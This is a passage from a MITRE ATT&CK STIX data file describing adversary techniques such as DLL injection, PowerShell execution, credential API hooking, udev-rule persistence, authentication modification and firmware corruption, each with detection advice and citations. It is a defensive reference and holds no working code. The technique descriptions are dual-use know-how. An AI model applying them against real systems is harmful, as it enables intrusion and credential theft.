                    "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.",
                    "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"
                },
                {
                    "source_name": "Elastic HuntingNMemory June 2017",
                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Module Stomping for Shellcode Injection",
                    "description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.",
                    "url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:22.834Z",
            "name": "Dynamic-link Library Injection",
            "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Boominathan Sundaram"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Metadata",
                "Process: Process Access",
                "Process: Process Modification",
                "Module: Module Load",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
            "created": "2017-05-31T21:31:06.512Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1086",
                    "external_id": "T1086"
                },
                {
                    "source_name": "TechNet PowerShell",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Github PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
                    "url": "https://github.com/jaredhaight/PSAttack"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
                    "url": "http://www.sixdub.net/?p=367"
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
                    "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
                },
                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:22.903Z",
            "name": "PowerShell",
            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
            "created": "2020-10-01T02:17:46.086Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/005",
                    "external_id": "T1588.005"
                },
                {
                    "source_name": "PegasusCitizenLab",
                    "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                    "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
                },
                {
                    "source_name": "NationsBuying",
                    "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                    "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                },
                {
                    "source_name": "Exploit Database",
                    "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.",
                    "url": "https://www.exploit-db.com/"
                },
                {
                    "source_name": "TempertonDarkHotel",
                    "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
                    "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
                },
                {
                    "source_name": "Wired SandCat Oct 2019",
                    "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.",
                    "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:34:05.500Z",
            "name": "Exploits",
            "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
            "created": "2020-02-11T19:01:56.887Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556",
                    "external_id": "T1556"
                },
                {
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
                },
                {
                    "source_name": "Xorrior Authorization Plugins",
                    "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.",
                    "url": "https://xorrior.com/persistent-credential-theft/"
                },
                {
                    "source_name": "Dell Skeleton",
                    "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
                    "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
                },
                {
                    "source_name": "dump_pwd_dcsync",
                    "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
                    "url": "https://adsecurity.org/?p=2053"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:59:21.746Z",
            "name": "Modify Authentication Process",
            "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The <code>Store passwords using reversible encryption</code> configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of <code>-AllowReversiblePasswordEncryption $true</code>, <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2024-09-26T17:02:09.888Z",
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                    "url": "https://attack.mitre.org/techniques/T1546/017",
                    "external_id": "T1546.017"
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                {
                    "source_name": "Ignacio Udev research 2024",
                    "description": "Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.",
                    "url": "https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"
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                {
                    "source_name": "Elastic Linux Persistence 2024",
                    "description": "Ruben Groenewoud. (2024, August 29). Linux Detection Engineering -  A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.",
                    "url": "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"
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                {
                    "source_name": "Reichert aon sedexp 2024",
                    "description": "Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.",
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            "description": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content\u2019s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)",
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            "x_mitre_contributors": [
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                "Eder P\u00e9rez Ignacio, @ch4ik0",
                "Wirapong Petshagun",
                "@grahamhelton3",
                "Ruben Groenewoud, Elastic"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
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                "Process: Process Creation",
                "File: File Modification"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "created": "2020-02-11T19:01:15.930Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1056/004",
                    "external_id": "T1056.004"
                },
                {
                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
                },
                {
                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
                },
                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
                },
                {
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Intezer Symbiote 2022",
                    "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
                    "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
                },
                {
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved November 17, 2024.",
                    "url": "https://www.scribd.com/document/68671361/Inline-Hooking-in-Windows"
                },
                {
                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
                },
                {
                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
                },
                {
                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
                },
                {
                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
                },
                {
                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "url": "https://github.com/jay/gethooks"
                },
                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
                },
                {
                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
                },
                {
                    "source_name": "Volatility Detecting Hooks Sept 2012",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:59:21.920Z",
            "name": "Credential API Hooking",
            "description": "Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. \n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program\u2019s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.(Citation: Intezer Symbiote 2022)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "File: File Creation",
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                "Command: Command Execution",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89",
            "created": "2019-04-12T18:28:15.451Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1495",
                    "external_id": "T1495"
                },
                {
                    "source_name": "cisa_malware_orgs_ukraine",
                    "description": "CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a"
                },
                {
                    "source_name": "dhs_threat_to_net_devices",
                    "description": "U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022.",
                    "url": "https://cyber.dhs.gov/assets/report/ar-16-20173.pdf"
                },
                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
                },
                {
                    "source_name": "Symantec Chernobyl W95.CIH",
                    "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.",
                    "url": "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99"
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            "modified": "2025-04-16T20:37:22.991Z",
            "name": "Firmware Corruption",
            "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). ",
            "kill_chain_phases": [
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                    "phase_name": "impact"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
